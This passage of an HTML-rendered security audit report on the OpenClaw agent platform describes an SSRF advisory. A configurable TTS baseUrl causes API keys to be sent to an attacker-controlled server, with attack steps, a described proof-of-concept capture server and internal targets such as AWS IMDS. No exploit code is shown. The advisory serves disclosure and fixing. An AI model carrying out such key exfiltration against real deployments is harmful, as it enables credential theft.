data-id="3230f0c5b87c80729e0dc17f4a75a43d"><span><div id="3230f0c5b87c80729e0dc17f4a75a43d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80729e0dc17f4a75a43d" title="Option C: Add Missing Security Headers"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Option C: Add Missing Security Headers</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c801bb44eda049f7e0937" data-id="3230f0c5b87c801bb44eda049f7e0937"><span><div id="3230f0c5b87c801bb44eda049f7e0937" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c801bb44eda049f7e0937" title="Option D: Log Redaction"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Option D: Log Redaction</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804695edd6a30d170266" data-id="3230f0c5b87c804695edd6a30d170266"><span><div id="3230f0c5b87c804695edd6a30d170266" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804695edd6a30d170266" title="Detection"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Detection</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800e821ed6c645f1f250" data-id="3230f0c5b87c800e821ed6c645f1f250"><span><div id="3230f0c5b87c800e821ed6c645f1f250" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800e821ed6c645f1f250" title="Active Token Exposure"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Active Token Exposure</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808eb556fe6054e18ce1" data-id="3230f0c5b87c808eb556fe6054e18ce1"><span><div id="3230f0c5b87c808eb556fe6054e18ce1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808eb556fe6054e18ce1" title="Historical Exposure"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Historical Exposure</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80aba494e074c89cdf05" data-id="3230f0c5b87c80aba494e074c89cdf05"><span><div id="3230f0c5b87c80aba494e074c89cdf05" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80aba494e074c89cdf05" title="Timeline"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Timeline</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80fa8b66df6ad65cf929"><li><b>2026-03-10</b>: Vulnerability discovered during security audit</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80128b3ccaf67de4e9a7"><li><b>2026-03-10</b>: PoC demonstrated token capture from logs</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c808f9fbdd0122c909d3c"><li><b>2026-03-10</b>: Advisory drafted</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80cd9f19f545a2868922" data-id="3230f0c5b87c80cd9f19f545a2868922"><span><div id="3230f0c5b87c80cd9f19f545a2868922" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80cd9f19f545a2868922" title="References"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">References</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80979a73f7d7dda71796"><li>CWE-598: Use of GET Request Method With Sensitive Query Strings</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c801ab979f570085113dc"><li>CWE-532: Insertion of Sensitive Information into Log File</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e899ebfe23c2a2a6ab"><li>OWASP A02:2021: Cryptographic Failures</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a1b7c6de73e69f3f9d"><li>PCI-DSS 3.2.1 Requirement 6.5.10</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80d5bde8d45922810652"><li>RFC 7231 Section 4.2.1: GET method should not include sensitive data</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8019a674cb97cd970302" data-id="3230f0c5b87c8019a674cb97cd970302"><span><div id="3230f0c5b87c8019a674cb97cd970302" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8019a674cb97cd970302" title="Credit"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Credit</span></span></h4><div class="notion-text notion-block-3230f0c5b87c803d8c22f86cf378a7b2">Discovered by: Security Audit Team
Reported: 2026-03-10</div><hr class="notion-hr notion-block-3230f0c5b87c803085d8f277cf0edf2c"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80ff9394e8e0c7ceccc5" data-id="3230f0c5b87c80ff9394e8e0c7ceccc5"><span><div id="3230f0c5b87c80ff9394e8e0c7ceccc5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ff9394e8e0c7ceccc5" title="GHSA-007: TTS Provider BaseUrl SSRF with API Key Exfiltration"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-007: TTS Provider BaseUrl SSRF with API Key Exfiltration</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c8004ba6ed1d17e4de569"><div><b>严重级别</b>: High  |  <b>类型</b>: SSRF + 凭证泄露  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8041818af39d4cb2fae6" data-id="3230f0c5b87c8041818af39d4cb2fae6"><span><div id="3230f0c5b87c8041818af39d4cb2fae6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8041818af39d4cb2fae6" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80349efdfc49286bf4ee">Multiple Text-to-Speech (TTS) providers in OpenClaw accept user-controlled <code class="notion-inline-code">baseUrl</code> parameters and perform unprotected <code class="notion-inline-code">fetch()</code> calls, enabling Server-Side Request Forgery (SSRF) attacks with API key leakage.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802fa1afe881a20ee731" data-id="3230f0c5b87c802fa1afe881a20ee731"><span><div id="3230f0c5b87c802fa1afe881a20ee731" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802fa1afe881a20ee731" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80c6bc0fc1207cec540e"><b>High</b> - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N (7.7)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80648389f59d2030ffb5" data-id="3230f0c5b87c80648389f59d2030ffb5"><span><div id="3230f0c5b87c80648389f59d2030ffb5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80648389f59d2030ffb5" title="Affected Components"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Components</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80449881dd8e82bf75a6"><li><b>ElevenLabs TTS</b>: <code class="notion-inline-code">src/tts/tts-core.ts:582</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a3a328fae5cdd42784"><li><b>OpenAI TTS</b>: <code class="notion-inline-code">src/tts/tts-core.ts:638</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a6af4fdcf3cafe3353"><li><b>Related Components</b>:</li><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a6af4fdcf3cafe3353"><li>Ollama Model Discovery (<code class="notion-inline-code">models-config.providers.discovery.ts:87,123</code>)</li><li>vLLM Model Discovery (<code class="notion-inline-code">models-config.providers.discovery.ts:187</code>)</li><li>Ollama Stream (<code class="notion-inline-code">ollama-stream.ts:482</code>)</li><li>Anthropic PDF (<code class="notion-inline-code">pdf-native-providers.ts:63</code>)</li><li>Gemini PDF (<code class="notion-inline-code">pdf-native-providers.ts:146</code>)</li><li>Minimax VLM (<code class="notion-inline-code">minimax-vlm.ts:76</code>)</li></ul></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8014b966dac62e58425c" data-id="3230f0c5b87c8014b966dac62e58425c"><span><div id="3230f0c5b87c8014b966dac62e58425c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8014b966dac62e58425c" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804eb6b5e8d19453f57e" data-id="3230f0c5b87c804eb6b5e8d19453f57e"><span><div id="3230f0c5b87c804eb6b5e8d19453f57e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804eb6b5e8d19453f57e" title="Root Cause"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80539ce1ce684f627bc6">The TTS provider functions accept a <code class="notion-inline-code">baseUrl</code> parameter from configuration that is directly concatenated with API endpoints and used in <code class="notion-inline-code">fetch()</code> calls without any SSRF validation:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807fb20ce0ba165158b7" data-id="3230f0c5b87c807fb20ce0ba165158b7"><span><div id="3230f0c5b87c807fb20ce0ba165158b7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807fb20ce0ba165158b7" title="Attack Vector"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Vector</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80868f7ce4965f956e8d" style="list-style-type:decimal"><li>Attacker with admin/operator privileges modifies TTS configuration via <code class="notion-inline-code">config.patch</code> API</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c801eacacccb8602ad8ab" style="list-style-type:decimal"><li>Sets malicious <code class="notion-inline-code">baseUrl</code> pointing to attacker-controlled server or internal resources</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c803c82b3e06063882dc1" style="list-style-type:decimal"><li>Triggers TTS generation through normal agent workflow</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80c0bf93e257d381506a" style="list-style-type:decimal"><li>Application sends POST request to attacker URL with:</li><ol class="notion-list notion-list-numbered notion-block-3230f0c5b87c80c0bf93e257d381506a" style="list-style-type:lower-alpha"><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c08f01ebe24ae3dc0d"><li>Full API key in headers (<code class="notion-inline-code">xi-api-key</code> or <code class="notion-inline-code">Authorization: Bearer</code>)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8057bf1fef5b8e528fb2"><li>Request body containing TTS parameters</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8096a970ebc55dd3b8c8"><li>No validation or SSRF protection</li></ul></ol></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808783b3e098c35b461b" data-id="3230f0c5b87c808783b3e098c35b461b"><span><div id="3230f0c5b87c808783b3e098c35b461b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808783b3e098c35b461b" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8024b506eb8bf9d0eb7d"><b>复现截图 - ElevenLabs TTS SSRF 捕获：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8061bb88dd1b68420490"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa007_step1_elevenlabs.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8061-bb88-dd1b68420490" alt="ElevenLabs" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c802ca342f4247d4ff23f">ElevenLabs</div><div class="notion-text notion-block-3230f0c5b87c805386b2d5dd6c645e98"><b>复现截图 - OpenAI TTS SSRF 捕获：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8078b6f7c2b7d4fab2ee"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa007_step2_openai.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8078-b6f7-c2b7d4fab2ee" alt="OpenAI" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c8089bccee00903f0658c">OpenAI</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f9aa95e7f089b286d1" data-id="3230f0c5b87c80f9aa95e7f089b286d1"><span><div id="3230f0c5b87c80f9aa95e7f089b286d1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f9aa95e7f089b286d1" title="PoC Script"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">PoC Script</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8097bca9d7d0c3f7e99f"><b>File</b>: <code class="notion-inline-code">poc_NEW1_TTS_SSRF.js</code></div><div class="notion-text notion-block-3230f0c5b87c80a29373d66bee9c172b">The PoC demonstrates:
- Setting up attacker capture server on port 28888
- Simulating vulnerable TTS function calls
- Capturing API keys from request headers
- Multiple attack scenarios (AWS IMDS, Redis, K8s API)</div><div class="notion-text notion-block-3230f0c5b87c803ba6a0dc3f8de9dd72"><b>Verification Results</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808c9e35f87641668ed8" data-id="3230f0c5b87c808c9e35f87641668ed8"><span><div id="3230f0c5b87c808c9e35f87641668ed8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808c9e35f87641668ed8" title="Manual Reproduction Steps"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Manual Reproduction Steps</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8030823ce2c0f2b27c8e"><b>Step 1: Modify TTS Configuration</b></div><div class="notion-text notion-block-3230f0c5b87c8004aba2dafddefc9f1f"><b>Step 2: Trigger TTS Generation</b></div><div class="notion-text notion-block-3230f0c5b87c80fea282c2918994d7c4"><b>Step 3: Capture on Attacker Server</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807daedac6b29ffcb078" data-id="3230f0c5b87c807daedac6b29ffcb078"><span><div id="3230f0c5b87c807daedac6b29ffcb078" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807daedac6b29ffcb078" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80eb9137c9a85d329aa5" data-id="3230f0c5b87c80eb9137c9a85d329aa5"><span><div id="3230f0c5b87c80eb9137c9a85d329aa5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80eb9137c9a85d329aa5" title="1. External API Key Exfiltration"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. External API Key Exfiltration</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8056a264ed9632ca7cbe"><b>Impact</b>: Direct theft of ElevenLabs/OpenAI API keys</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80719860cb14caefaa2f" data-id="3230f0c5b87c80719860cb14caefaa2f"><span><div id="3230f0c5b87c80719860cb14caefaa2f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80719860cb14caefaa2f" title="2. AWS IMDS Exploitation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. AWS IMDS Exploitation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80afbf6cff4c8384265a"><b>Impact</b>: Attempt to access IAM temporary credentials (POST method may fail but reveals internal architecture)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8039bf44ff9a5c5f2d48" 